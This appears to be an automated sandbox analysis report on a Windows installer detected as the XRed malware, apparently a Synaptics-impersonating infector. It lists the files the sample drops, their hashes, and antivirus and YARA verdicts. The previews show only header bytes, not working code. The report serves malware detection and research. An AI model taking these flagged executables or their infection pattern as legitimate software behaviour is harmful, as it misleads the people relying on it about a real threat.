SHA1:	07F2346644601228A87C37F749A4DBDC81B34F0E
SHA-256:	2ED781AD394666ABF5D022D7DCB0734F2C4C66F53534EB1679ADCC13418D5BE1
SHA-512:	93F2FF67522333890273EADD232031874768F8FFA83ACA603667CD0BB5A69A897FE20D2E6CE7BE0CE6D9790F7E9750A22FD5043A9B3C70A663EA3B9780CACE47
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jnSEGZLtByt8pmokQuKhYA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\goCZrea.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2778978004245305
Encrypted:	false
SSDEEP:	24:GgsF+0o2IqSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jdq+pAZewRDK4mW
MD5:	106447152BCA177B6D49CEC95D434DDF
SHA1:	082C1427A906C019100E62BB459F753DF46417BA
SHA-256:	0DAAA87FC624DA84068BED603EFD36A85841FB227C7C763A7951EB965AB53D81
SHA-512:	878A00F5AF0ABAA490EEA6CBB88791D1F3AAA5487188A76263F413A1C31DD104C5150BC495DDF6033A7B26B959ED514654A5D1A56684E70646BB6B3F39298964
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UzkDCvXAR9O2SmXqGN9Hbg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\h6JfjoE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26742581276337
Encrypted:	false
SSDEEP:	24:GgsF+0czSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+X+pAZewRDK4mW
MD5:	39970EC504BE760F9F0D6AC67F716CEE
SHA1:	E8794369FCF102025F3F9C1B6513B728D26D8137
SHA-256:	EF6093F0C9379D97813904DF77532922BE56B9F3DEFEDB244613528C1FB15BB2
SHA-512:	BF61A3CA9B9DB18A497E00618EC24D4F76F58A7E5DACC5636175597A209520D100C0ED66C6FE2B34F17F348A2906CF56F51A0EBB0E958863F0D7A0D9795E369A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-W2Ny8l5XZzENb1JwKf2FQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mCENnha.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25364991948416
Encrypted:	false
SSDEEP:	24:GgsF+0H3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+83+pAZewRDK4mW
MD5:	0FB4BE6C7579CD82CC73FAFD3F863AE0
SHA1:	3BCB5114C895311DEC622923D299BF9DE932FE75
SHA-256:	25B5176885A7687ADBC55DA06DD7C1E8B1039916FA3B4115D8AA161FBC760B8F
SHA-512:	39A8264D759258815ACB89A5D92EBA8FADE1D6FF8945B20CB3E51099A98A694C72800FA6DF45F79E185287A581069FDC734909F5CBBA30A1E115AAA26492A406
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Gm-AFXL5XrOuavoGgvp8vw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\q2MAl17.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272593185220059
Encrypted:	false
SSDEEP:	24:GgsF+03DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+o+pAZewRDK4mW
MD5:	6637742684B39AB3C66B2263BF9F9B85
SHA1:	74629EE9382764474509DE068A37C2C25ED7F861
SHA-256:	09D4A1C51F17476B034E0CF85F8C22B970A4B2BDFC700D5EAC7F093994B5800F
SHA-512:	36162B07DE6CD9F56C532029F2B45AA696E579C8264A0A9E63B4ADCCC301D0D17BE41309C2FEEAAAB136CD7D6FD30FF1C65D6AE12154411BAABCF3E0F7CF73BD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TbdNS-TNWtQESCR7D26eLA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wPyzyCW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271204789546022
Encrypted:	false
SSDEEP:	24:GgsF+0OwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+e+pAZewRDK4mW
MD5:	2B1BF96352F6815F4F1BE0AC58DC1125
SHA1:	72607DA013E6D952520783D0FE8D412D7F9B435E
SHA-256:	6A2E511113E9300B9DCB47C5511F62D150B1CA1BC67C70E9C0138DDCCB99F98E
SHA-512:	0A527C7B1EDD4290AC8499B649DD593EC613B5800217DB633F3FD3AD8BF240C0E6D62D0EC24FBF8C2CB99C65D54AC89B6FE22BC0F2DB4A3B2C79A01AA87FBAAF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4VTs5yjLAKJlTT14EuFjEQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\yWo6svb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254329870034298
Encrypted:	false
SSDEEP:	24:GgsF+0yzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Vz+pAZewRDK4mW
MD5:	1E9D1379ABA6F4BB0391F0B24620668D
SHA1:	98B2CA13C03427541CD8997CC6A2F1584D26F9E9
SHA-256:	68195382BED4A8314CB8CDE759BB3C3563580CC111DBFA08926BA0D8B4C19328
SHA-512:	1659D105618E0588C5F72D32EA0F25E9407FCA130D1C7A3D892C226388A648ABB64A056EF3E1BA0E182B801CC38663A01B51AD8FB79CCCE3C46A4BFD10EEA1E5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="t-hK7V_meVUc1V-_ZEDTlg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zpUy9gq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257147163971306
Encrypted:	false
SSDEEP:	24:GgsF+0M4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+B4+pAZewRDK4mW
MD5:	89605F9337050632E889656F730A4C1C
SHA1:	21510A6C1A5E3DFD6396511503F1000CE774CC39
SHA-256:	535BBBA9B4CFDB153DB446B120F59836FE98943E22D9B15DF23F04C68072268E
SHA-512:	62CB9A71FB74E77BEC01E20C664C7F59D854054CE676950E109E8C8FF350E3CD9976E0D1AD5290BFB787243816C5ED86BB8D4AEBA9FD3A28AE8339F35DE5D40A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="45g2rDMNDomd-CxBffTjhA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\~$I9FyyXRL.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.3520167401771568
Encrypted:	false
SSDEEP:	3:8Nultln:X1n
MD5:	9AC4D67F6E514F452D4A1DB79CE3B2E8
SHA1:	33F8C665ECBB81275D2E49D48F2565A58A282043
SHA-256:	407E1D871964C93DBDBD4D00613CD0A9E30D3ED6352D8052C58E7A252D52FC5A
SHA-512:	018D0F54AB0AB01F27E9FB870A128F2F581A58487399DD7FB56A94EC4AAEC6874708A5AD5650F362485E45E2C6A557ED08524C5B8335F83F240E0962281A0F1A
Malicious:	false
Preview:	.user ..c.a.l.i. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~$VO87wxAM.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.3520167401771568
Encrypted:	false
SSDEEP:	3:8Nultln:X1n
MD5:	9AC4D67F6E514F452D4A1DB79CE3B2E8
SHA1:	33F8C665ECBB81275D2E49D48F2565A58A282043
SHA-256:	407E1D871964C93DBDBD4D00613CD0A9E30D3ED6352D8052C58E7A252D52FC5A
SHA-512:	018D0F54AB0AB01F27E9FB870A128F2F581A58487399DD7FB56A94EC4AAEC6874708A5AD5650F362485E45E2C6A557ED08524C5B8335F83F240E0962281A0F1A
Malicious:	false
Preview:	.user ..c.a.l.i. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF7752AACA1A3D2E0C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC4964D378EEF6657.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe

Download File

Process:	C:\Users\user\Desktop\Dzsb.Qyd.Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	170048
Entropy (8bit):	5.240723641804677
Encrypted:	false
SSDEEP:	1536:5GHDYWAQHwKMow61yOVMBEx/WiUY8eYTuuX6kbaQvNU2G/lQRp04s:5yDYzQQKMo9cOmOx/AYCjG/lQRp07
MD5:	2CE4CD44B3F4B4527FF1BA1D40B3C6BC
SHA1:	CBECE515867DC8CCFA393811C9E71F6CCAE9B239
SHA-256:	D74A7E37DD6757CBA14FDA64511F2D0F6E89D85E2F3A2413CDA048207D9F2BF3
SHA-512:	95A2883EAA781F1C955D568021DC4D1C2B5723DA77E4A895BA19575BDDE38E146453C83AB51F6E1C07AD3EA1E0B71FC64D5586193C62146449AB0102CD5CAC9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........`...T..T..T.QT...T..T..T.ST..TV.ST..T..T...T.nT..T9.PT..T.TT..TRich..T........................PE..L......R.................0...P......8.............@.................................x...........................................P.......................@............@..............................................<................................textbss.................................text..../.......0.................. ..`.rdata.. ....@...0...@..............@..@.data....1...p... ...p..............@....idata..............................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\DUUDTUBZFW\EOWRVPQCCS.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\DUUDTUBZFW\~$EOWRVPQCCS.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.3520167401771568
Encrypted:	false
SSDEEP:	3:8Nultln:X1n
MD5:	9AC4D67F6E514F452D4A1DB79CE3B2E8
SHA1:	33F8C665ECBB81275D2E49D48F2565A58A282043
SHA-256:	407E1D871964C93DBDBD4D00613CD0A9E30D3ED6352D8052C58E7A252D52FC5A
SHA-512:	018D0F54AB0AB01F27E9FB870A128F2F581A58487399DD7FB56A94EC4AAEC6874708A5AD5650F362485E45E2C6A557ED08524C5B8335F83F240E0962281A0F1A
Malicious:	false
Preview:	.user ..c.a.l.i. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\DUUDTUBZFW\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.632404275608864
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I3r:ansJ39LyjbJkQFMhmC+6GD9c
MD5:	921D4ED8B1BD7EFFC64D14DF5204C817
SHA1:	74686449F24F0CD745C4BDE0A7E6F41ABF17DAAD
SHA-256:	479FFD1BD8ADB0CBABA12207B91F58BAE92FE5F49FF2A8D4354853463638514E
SHA-512:	3C6CCCD09E06E11D4EDA44172C908DD0AD61D89B5957F9EB5575F6A6A43026FAAF13486ACA409399C4FE344CEC1ADF3BE0257926A863B9978C44469E16440A7F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\Documents\EIVQSAOTAQ.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$EIVQSAOTAQ.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.3520167401771568
Encrypted:	false
SSDEEP:	3:8Nultln:X1n
MD5:	9AC4D67F6E514F452D4A1DB79CE3B2E8
SHA1:	33F8C665ECBB81275D2E49D48F2565A58A282043
SHA-256:	407E1D871964C93DBDBD4D00613CD0A9E30D3ED6352D8052C58E7A252D52FC5A
SHA-512:	018D0F54AB0AB01F27E9FB870A128F2F581A58487399DD7FB56A94EC4AAEC6874708A5AD5650F362485E45E2C6A557ED08524C5B8335F83F240E0962281A0F1A
Malicious:	false
Preview:	.user ..c.a.l.i. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.632404275608864
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I3r:ansJ39LyjbJkQFMhmC+6GD9c
MD5:	921D4ED8B1BD7EFFC64D14DF5204C817
SHA1:	74686449F24F0CD745C4BDE0A7E6F41ABF17DAAD
SHA-256:	479FFD1BD8ADB0CBABA12207B91F58BAE92FE5F49FF2A8D4354853463638514E
SHA-512:	3C6CCCD09E06E11D4EDA44172C908DD0AD61D89B5957F9EB5575F6A6A43026FAAF13486ACA409399C4FE344CEC1ADF3BE0257926A863B9978C44469E16440A7F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.31018078132833
Encrypted:	false
SSDEEP:	6144:Nzw8CE/ZeaJFSSPkY6B0CvpuIUOa4+e9gFbJUjWKdHjj5+aJ1aCREf4GEA:N08bWvp63qtdHHQCeAJ
MD5:	E8AD7BDD75098D03C1D5BF5BB8A45474
SHA1:	2382CB1AE19F1BE850240A143DA43D3182BEEB74
SHA-256:	6C4C0669AFC76E59F7932D7BB6EB77736FBBDDB8BCF3F1BE794C63C9F5B26909
SHA-512:	57C1FB528EA0BC089B4E76BD5A66025347D10F4B49BD265B61F7622F985AE228E9CCF56117F183400D112126C4C13EA7E8B637AB59B039DB65716FCEDC306FAB
Malicious:	false
Preview:	regfG...G....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..7tH7................................................................................................................................................................................................................................................................................................................................................#@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.484741061010045
TrID:	Win32 Executable (generic) a (10002005/4) 93.21% Win32 Executable Borland Delphi 7 (665061/41) 6.20% InstallShield setup (43055/19) 0.40% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	Dzsb.Qyd.Install.exe
File size:	941'568 bytes
MD5:	8f6f7010f18c00958433f02d47130dd1
SHA1:	96420693a48930b1420dca7c5d02792ea7009693
SHA256:	f20191f25cc57ee5c30328a5bd3821788d8db2ed60901f728122d596185fc651
SHA512:	41e6f0b9458ec1cc304b606602bbe8289522e0ac4183c64c3ae434d54792707eb061e9f3746339b745cf6ba7b511a9d6db7dbae94acaff75255fae3ebe0521fb
SSDEEP:	12288:kMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9yjQ2WH95Cjs7:knsJ39LyjbJkQFMhmC+6GD9uQ2e9Qo
TLSH:	C1156D22B2918437D2621B388C5BE2E458297E612F6475CFB7F43D6C5E392C329361DB
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	8a80809292808001

Static PE Info

General

